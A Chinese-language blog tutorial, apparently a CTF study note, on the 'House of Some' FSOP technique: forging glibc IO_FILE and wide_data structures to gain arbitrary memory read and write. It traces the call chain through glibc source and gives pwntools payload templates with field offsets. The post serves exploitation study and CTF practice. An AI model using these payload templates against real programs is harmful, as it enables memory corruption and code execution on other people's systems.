伪造IO_FILE进行任意地址读写

IO_FILE结构及stdinstdout举例

_IO_FILE_plus

1
2
3
4
5
struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

_IO_FILE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
struct _IO_FILE
{
int _flags; /* 高 16 位为 _IO_MAGIC;其余为标志位。 */

/* 以下指针与 C++ 的 streambuf 协议对应。 */
char *_IO_read_ptr; /* 当前读取指针 */
char *_IO_read_end; /* 获取区结束位置 */
char *_IO_read_base; /* 回退+获取区起始位置 */
char *_IO_write_base; /* 写入区起始位置 */
char *_IO_write_ptr; /* 当前写入指针 */
char *_IO_write_end; /* 写入区结束位置 */
char *_IO_buf_base; /* 缓冲区起始位置 */
char *_IO_buf_end; /* 缓冲区结束位置 */

/* 以下字段用于支持“回退”与“撤销”操作。 */
char *_IO_save_base; /* 非当前获取区起始指针 */
char *_IO_backup_base; /* 备份区中第一个有效字符的指针 */
char *_IO_save_end; /* 非当前获取区结束指针 */

struct _IO_marker *_markers; /* 标记链表 */
struct _IO_FILE *_chain; /* 文件链表指针 */

int _fileno; /* 文件描述符 */
int _flags2; /* 扩展标志 */
__off_t _old_offset; /* 原 _offset 字段,因空间不足被替换。 */

/* pbase() 的列号(从 1 开始);0 表示未知。 */
unsigned short _cur_column;
signed char _vtable_offset; /* 虚表偏移 */
char _shortbuf[1]; /* 短缓冲 */

_IO_lock_t *_lock; /* 线程锁 */

#ifdef _IO_USE_OLD_IO_FILE
};

/* 完整版 FILE 结构(当使用新 ABI 时) */
struct _IO_FILE_complete
{
struct _IO_FILE _file; /* 继承基础部分 */
#endif

__off64_t _offset; /* 64-bit 文件偏移 */
/* 宽字符流相关。 */
struct _IO_codecvt *_codecvt; /* 编码转换表 */
struct _IO_wide_data *_wide_data; /* 宽字符缓冲区 */
struct _IO_FILE *_freeres_list; /* 空闲链表 */
void *_freeres_buf; /* 空闲缓冲 */
size_t __pad5; /* 对齐填充 */
int _mode; /* 宽/字节模式 */

/* 防止再次出现内存布局问题。 */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

_IO_jump_t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

_IO_wide_data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* 当前读取指针 */
wchar_t *_IO_read_end; /* 获取区域结束位置 */
wchar_t *_IO_read_base; /* 回退+获取区域起始位置 */
wchar_t *_IO_write_base; /* 写入区域起始位置 */
wchar_t *_IO_write_ptr; /* 当前写入指针 */
wchar_t *_IO_write_end; /* 写入区域结束位置 */
wchar_t *_IO_buf_base; /* 缓冲区起始位置 */
wchar_t *_IO_buf_end; /* 缓冲区结束位置 */

/* 以下字段用于支持回退与撤销操作 */
wchar_t *_IO_save_base; /* 非当前获取区域起始指针 */
wchar_t *_IO_backup_base; /* 备份区域中第一个有效字符的指针 */
wchar_t *_IO_save_end; /* 非当前获取区域结束指针 */

__mbstate_t _IO_state; /* 当前多字节转换状态 */
__mbstate_t _IO_last_state; /* 上次多字节转换状态 */
struct _IO_codecvt _codecvt; /* 编码转换相关数据 */

wchar_t _shortbuf[1]; /* 短缓冲区 */
const struct _IO_jump_t *_wide_vtable; /* 宽字符版本的虚表指针 */
};
/* 长度为 0xe8 或为了对齐长度为 0xf0 */

IO_2_1_stdin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
pwndbg> p _IO_2_1_stdin_
$1 = {
file = {
_flags = -72540021,
_IO_read_ptr = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
_IO_read_end = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
_IO_read_base = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
_IO_write_base = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
_IO_write_ptr = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
_IO_write_end = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
_IO_buf_base = 0x75b77e603963 <_IO_2_1_stdin_+131> "",
_IO_buf_end = 0x75b77e603964 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x75b77e605720 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x75b77e6039c0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x75b77e602030 <_IO_file_jumps>
}
_flags _IO_read_ptr
0x75b77e6038e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x000075b77e603963
_IO_read_end _IO_read_base
0x75b77e6038f0 <_IO_2_1_stdin_+16>: 0x000075b77e603963 0x000075b77e603963
_IO_write_base _IO_write_ptr
0x75b77e603900 <_IO_2_1_stdin_+32>: 0x000075b77e603963 0x000075b77e603963
_IO_write_end _IO_buf_base*
0x75b77e603910 <_IO_2_1_stdin_+48>: 0x000075b77e603963 0x000075b77e603963
_IO_buf_end* _IO_save_base
0x75b77e603920 <_IO_2_1_stdin_+64>: 0x000075b77e603964 0x0000000000000000
_IO_backup_base _IO_save_end
0x75b77e603930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
_markers _chain
0x75b77e603940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
_fileno + _flags2 _old_offset
0x75b77e603950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
_cur_column + _vtable_offset + _shortbuf _lock
0x75b77e603960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x000075b77e605720
_offset _codecvt
0x75b77e603970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
_wide_data _freeres_list
0x75b77e603980 <_IO_2_1_stdin_+160>: 0x000075b77e6039c0 0x0000000000000000
_freeres_buf __pad5
0x75b77e603990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
_mode + _unused2 _unused2
0x75b77e6039a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
_unused2 vtable
0x75b77e6039b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x000075b77e602030
总长度为0xe0

IO_2_1_stdout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
pwndbg> p _IO_2_1_stdout_
$4 = {
file = {
_flags = -72537977,
_IO_read_ptr = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x75b77e604643 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x75b77e604644 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x75b77e6038e0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x75b77e605710 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x75b77e6037e0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x75b77e602030 <_IO_file_jumps>
}

0x75b77e6045c0 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x000075b77e604643
0x75b77e6045d0 <_IO_2_1_stdout_+16>: 0x000075b77e604643 0x000075b77e604643
0x75b77e6045e0 <_IO_2_1_stdout_+32>: 0x000075b77e604643 0x000075b77e604643
0x75b77e6045f0 <_IO_2_1_stdout_+48>: 0x000075b77e604643 0x000075b77e604643
0x75b77e604600 <_IO_2_1_stdout_+64>: 0x000075b77e604644 0x0000000000000000
0x75b77e604610 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x75b77e604620 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x000075b77e6038e0
0x75b77e604630 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x75b77e604640 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x000075b77e605710
0x75b77e604650 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x75b77e604660 <_IO_2_1_stdout_+160>: 0x000075b77e6037e0 0x0000000000000000
0x75b77e604670 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x75b77e604680 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x75b77e604690 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x000075b77e602030
总长度为0xe0

利用覆盖stdin_IO_buf_base低位一字节为’\x00’的任意地址写

数据从stdin(即标准输入)写入时,会先存储在_IO_buf_base指向的位置,当数据量很大时则会malloc一片内存用于存储数据。而我们将_IO_buf_base的低位字节置为\x00后,其恰好指向自身的_IO_write_base处,那么这也就意味着我们能覆盖从此处到_IO_buf_end处的一块空间,其中包含了_IO_buf_base_IO_buf_end,这又意味着我们能够再次通过修改_IO_buf_base_IO_buf_end达到再次任意地址写的目的。
需要注意的是,此方法需要由如fgets等函数触发stdin的刷新才能实现。

任意地址读

使用

1
2
3
4
5
6
7
8
9
10
fif_leak_stack = flat({
0x00: 0x800 | 0x1000, # _flags
0x20: _IO_write_base, # _IO_write_base 要泄露区域的起始地址, 填libc.sym["environ"]即可泄露栈地址
0x28: _IO_write_ptr, # _IO_write_ptr 要泄露区域的结束地址
0x68: _chain, # _chain
0x70: _fileno, # _fileno
0x88: _lock, # _lock
0xd8: vtable, # vtable
}, filler = b"\x00")
#总长度为0xe0

原理

正常_IO_flush_all执行时调用每个IO_FILEvtableoverflow,在_IO_new_file_overflow函数中会调用_IO_do_write将未输出完的数据输出

任意地址写

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
context.arch = 'amd64'

fake_io_to_read = flat({
0x00: 0, # _flags 此处为0就好
# 在进行写之前会将write_base、write_ptr、write_end、
# read_base、read_ptr、read_end自动设置为buf_base与buf_end的值
0x38: _IO_buf_base, # _IO_buf_base
0x40: _IO_buf_end, # _IO_buf_end
0x68: _chain, # _chain 进行FSOP的关键
0x70: 0, # _fileno 表示从0(标准输入)输入数据
0x88: _lock, # _lock 程序运行时会调用此处的值,不可为0, 需要可修改
0xa0: _wide_data, # _wide_data 填下方fake_wide_data的地址
0xc0: 2, # _mode 绕过检查
0xd8: vtable, # vtable 此处应填写libc.sym["_IO_wfile_jumps"]
}, filler = b"\x00")
#总长度为0xe0

fake_wide_data = flat({
0x18: 0, # _IO_write_base
0x20: 0xff, # _IO_write_ptr
0xe0: _wide_vtable, # 此处可填_IO_file_jumps - 0x48
#_wide_vtable 用于触发_IO_new_file_underflow
}, filler = b"\x00")
#总长度为0xe8

# 这个2合1只能写一次,且那一次如果没有成功getshell,则程序崩溃
fake_io_to_read = flat({
0x00: 0, # _flags 此处为0就好
0x08: 0xff,
# 在进行写之前会将write_base、write_ptr、write_end、
# read_base、read_ptr、read_end自动设置为buf_base与buf_end的值
0x38: _IO_buf_base, # _IO_buf_base
0x40: _IO_buf_end, # _IO_buf_end
0x68: _chain, # _chain 进行FSOP的关键
0x70: 0, # _fileno 表示从0(标准输入)输入数据
0x88: _lock, # _lock 程序运行时会调用此处的值,不可为0
0xa0: _wide_data, # _wide_data 填 该结构起始地址-0x18
0xc0: 2, # _mode 绕过检查
0xc8: _wide_vtable, # 此处可填_IO_file_jumps - 0x48
0xd8: vtable, # vtable 此处应填写libc.sym["_IO_wfile_jumps"]
}, filler = b"\x00")


0x200

原理

来源

https://blog.csome.cc/p/house-of-some/

CTF wiki
FSOP
FSOP

_IO_flush_all -> 刷新所有的IO_FILE,IO_list_all -> IO_FILE -> vtable -> IO_Chain -> IO_FILE

详细

查看_IO_flush_all

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int
_IO_flush_all (void)
{
int result = 0;
FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif

for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF) /* 此处调用_IO_OVERFLOW */
result = EOF;

_IO_funlockfile (fp);
run_fp = NULL;
}

#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif

return result;
}

程序调用_IO_flush_all时,会调用_IO_OVERFLOW
我们来追踪一下_IO_OVERFLOW
首先是

1
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

查看JUMP1

1
2
JUMP1(__overflow, fp, EOF)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

查看_IO_JUMPS_FUNC,有两个形态,但由于我们没有offset,所以使用第二个

1
2
3
4
5
6
7
8
#if _IO_JUMPS_OFFSET
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
#else
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
(_IO_JUMPS_FUNC(fp)->__overflow) (fp, EOF)

已知IO_validate_vtable是检查vtable地址是否合法,所以直接查看_IO_JUMPS_FILE_plus

1
2
3
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
(_IO_JUMPS_FILE_plus(fp)->__overflow) (fp, EOF)

查看_IO_CAST_FIELD_ACCESS

1
2
3
4
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
+ offsetof(TYPE, MEMBER)))
(_IO_CAST_FIELD_ACCESS (fp, struct _IO_FILE_plus, vtable)->__overflow) (fp, EPF)

简单查看后可以得到最后的调用是

1
fp->vtable->__overflow (fp, EOF)

结合vtable中的定义

1
JUMP_FIELD(_IO_overflow_t, __overflow);

可知其将调用vtable表中的__overflow函数,且其类型为_IO_overflow_t,具体调用的函数我们需要从虚表(vtable)填充的数据中去查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* _IO_file_jumps  */
[IO_FILE_JUMPS] = {
JUMP_INIT_DUMMY,
JUMP_INIT (finish, _IO_file_finish),
JUMP_INIT (overflow, _IO_file_overflow),
JUMP_INIT (underflow, _IO_file_underflow),
JUMP_INIT (uflow, _IO_default_uflow),
JUMP_INIT (pbackfail, _IO_default_pbackfail),
JUMP_INIT (xsputn, _IO_file_xsputn),
JUMP_INIT (xsgetn, _IO_file_xsgetn),
JUMP_INIT (seekoff, _IO_new_file_seekoff),
JUMP_INIT (seekpos, _IO_default_seekpos),
JUMP_INIT (setbuf, _IO_new_file_setbuf),
JUMP_INIT (sync, _IO_new_file_sync),
JUMP_INIT (doallocate, _IO_file_doallocate),
JUMP_INIT (read, _IO_file_read),
JUMP_INIT (write, _IO_new_file_write),
JUMP_INIT (seek, _IO_file_seek),
JUMP_INIT (close, _IO_file_close),
JUMP_INIT (stat, _IO_file_stat),
JUMP_INIT (showmanyc, _IO_default_showmanyc),
JUMP_INIT (imbue, _IO_default_imbue)
},

通过询问ai得知JUMP_INIT的第一个参数在宏展开后就会多俩下划线,最终名字会与_IO_jump_t中一致,但此处我们需要做出改变,如果继续按照原路线进行,则会进入正常的overflow阶段。那我们提前将此处的_IO_file_jumps地址改为_IO_wfile_jumps地址才能继续我们的攻击。
笔者在学习到这之前一直没理解为什么他能执行wfile的函数,原来是重点在更换的虚表地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* _IO_wfile_jumps  */
[IO_WFILE_JUMPS] = {
JUMP_INIT_DUMMY,
JUMP_INIT (finish, _IO_new_file_finish),
JUMP_INIT (overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT (underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT (uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT (pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT (xsputn, _IO_wfile_xsputn),
JUMP_INIT (xsgetn, _IO_file_xsgetn),
JUMP_INIT (seekoff, _IO_wfile_seekoff),
JUMP_INIT (seekpos, _IO_default_seekpos),
JUMP_INIT (setbuf, _IO_new_file_setbuf),
JUMP_INIT (sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT (doallocate, _IO_wfile_doallocate),
JUMP_INIT (read, _IO_file_read),
JUMP_INIT (write, _IO_new_file_write),
JUMP_INIT (seek, _IO_file_seek),
JUMP_INIT (close, _IO_file_close),
JUMP_INIT (stat, _IO_file_stat),
JUMP_INIT (showmanyc, _IO_default_showmanyc),
JUMP_INIT (imbue, _IO_default_imbue)
},

继续跟踪_IO_wfile_overflow函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
|| f->_wide_data->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
}
else
{
/* Otherwise must be currently reading. If _IO_read_ptr
(and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting
the read pointers to all point at the beginning of the
block). This makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving
that alone, so it can continue to correspond to the
external position). */
if (f->_wide_data->_IO_read_ptr == f->_wide_data->_IO_buf_end)
{
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_wide_data->_IO_read_end = f->_wide_data->_IO_read_ptr =
f->_wide_data->_IO_buf_base;
}
}
f->_wide_data->_IO_write_ptr = f->_wide_data->_IO_read_ptr;
f->_wide_data->_IO_write_base = f->_wide_data->_IO_write_ptr;
f->_wide_data->_IO_write_end = f->_wide_data->_IO_buf_end;
f->_wide_data->_IO_read_base = f->_wide_data->_IO_read_ptr =
f->_wide_data->_IO_read_end;

f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_wide_data->_IO_write_end = f->_wide_data->_IO_write_ptr;
}
if (wch == WEOF)
return _IO_do_flush (f);
if (f->_wide_data->_IO_write_ptr == f->_wide_data->_IO_buf_end)
/* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return WEOF;
*f->_wide_data->_IO_write_ptr++ = wch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && wch == L'\n'))
if (_IO_do_flush (f) == EOF)
return WEOF;
return wch;
}

发现其中调用的第一个函数_IO_wdoallocbuf,查看_IO_wdoallocbuf

1
2
3
4
5
6
7
8
9
10
11
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}

终于见到关键调用了,其中有个_IO_WDOALLOCATE,此为一个宏

1
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)

查看后就可发现其是通过虚表寻找函数调用的宏,从前面追溯overflow的过程我们可以举一反三,但是要注意在这一步有所不同,也是因为这一步我们能够进行攻击

1
2
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

此处与前面不同之处为使用了_wide_data中的_wide_vtable。那么已知其寻找函数是通过_wide_vtable地址加上偏移,我们查看vtable的结构体可知__doallocate的偏移为0x68,通过适当改变存放_wide_vtable的地址的值也就可以执行_wide_vtable上的其它函数了。
House of Some的提出者csome师傅发现了_IO_new_file_underflow这个函数中存在的_IO_SYSREAD可用于此处,执行写操作。
而简单查找可发现_IO_new_file_underflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* _IO_file_jumps  */
[IO_FILE_JUMPS] = {
JUMP_INIT_DUMMY,
JUMP_INIT (finish, _IO_file_finish),
JUMP_INIT (overflow, _IO_file_overflow),
JUMP_INIT (underflow, _IO_file_underflow),
JUMP_INIT (uflow, _IO_default_uflow),
JUMP_INIT (pbackfail, _IO_default_pbackfail),
JUMP_INIT (xsputn, _IO_file_xsputn),
JUMP_INIT (xsgetn, _IO_file_xsgetn),
JUMP_INIT (seekoff, _IO_new_file_seekoff),
JUMP_INIT (seekpos, _IO_default_seekpos),
JUMP_INIT (setbuf, _IO_new_file_setbuf),
JUMP_INIT (sync, _IO_new_file_sync),
JUMP_INIT (doallocate, _IO_file_doallocate),
JUMP_INIT (read, _IO_file_read),
JUMP_INIT (write, _IO_new_file_write),
JUMP_INIT (seek, _IO_file_seek),
JUMP_INIT (close, _IO_file_close),
JUMP_INIT (stat, _IO_file_stat),
JUMP_INIT (showmanyc, _IO_default_showmanyc),
JUMP_INIT (imbue, _IO_default_imbue)
},

表中的_IO_file_underflow的具体实现

1
versioned_symbol (libc, _IO_new_file_underflow, _IO_file_underflow, GLIBC_2_1);

查看_IO_new_file_underflow(有new肯定有old,但是old被注释了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
int
_IO_new_file_underflow (FILE *fp)
{
ssize_t count;

/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)
return EOF;

if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;

if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}

/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock (stdout);

if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (stdout, EOF);

_IO_release_lock (stdout);
}

_IO_switch_to_get_mode (fp);

/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;

count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count;
if (count == 0)
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}

那么我们只需让本该执行_IO_wfile_doallocate的地方执行_IO_file_underflow,就能实现任意地址写啦,具体操作方法则是在_wide_data_wide_vtable处填上_IO_file_jumps-0x48即可
需要注意的是由于其中调用的_IO_switch_to_get_mode

1
2
3
if (fp->_IO_write_ptr > fp->_IO_write_base)
if (_IO_OVERFLOW (fp, EOF) == EOF)
return EOF;

所以在_IO_flush_all的if中我们不能使用第一个条件,而该使用第二个和_wide_data有关的条件。以及由于调用的过程中使用了_lock,我们需要在伪造IO_FILE时填上_lock处的值。

总结

其完整的调用链为

  • _IO_flush_all
    • _IO_OVERFLOW
      • _IO_wfile_overflow(修改fp->vtable导致)
        • _IO_wdoallocbuf
          • _IO_WDOALLOCATE
            • _IO_new_file_underflow(修改fp->_wide_data->_wide_vtable导致)
              • _IO_SYSREAD(成功任意地址读写)
本作品由 automata 于 2026-03-21 18:40:25 发布
作品地址:伪造IO_FILE进行任意地址读写
除特别声明外,本站作品均采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自 凹凸麦塔
Logo
上一篇SROP及其相关结构体与调用号下一篇格式化字符串基础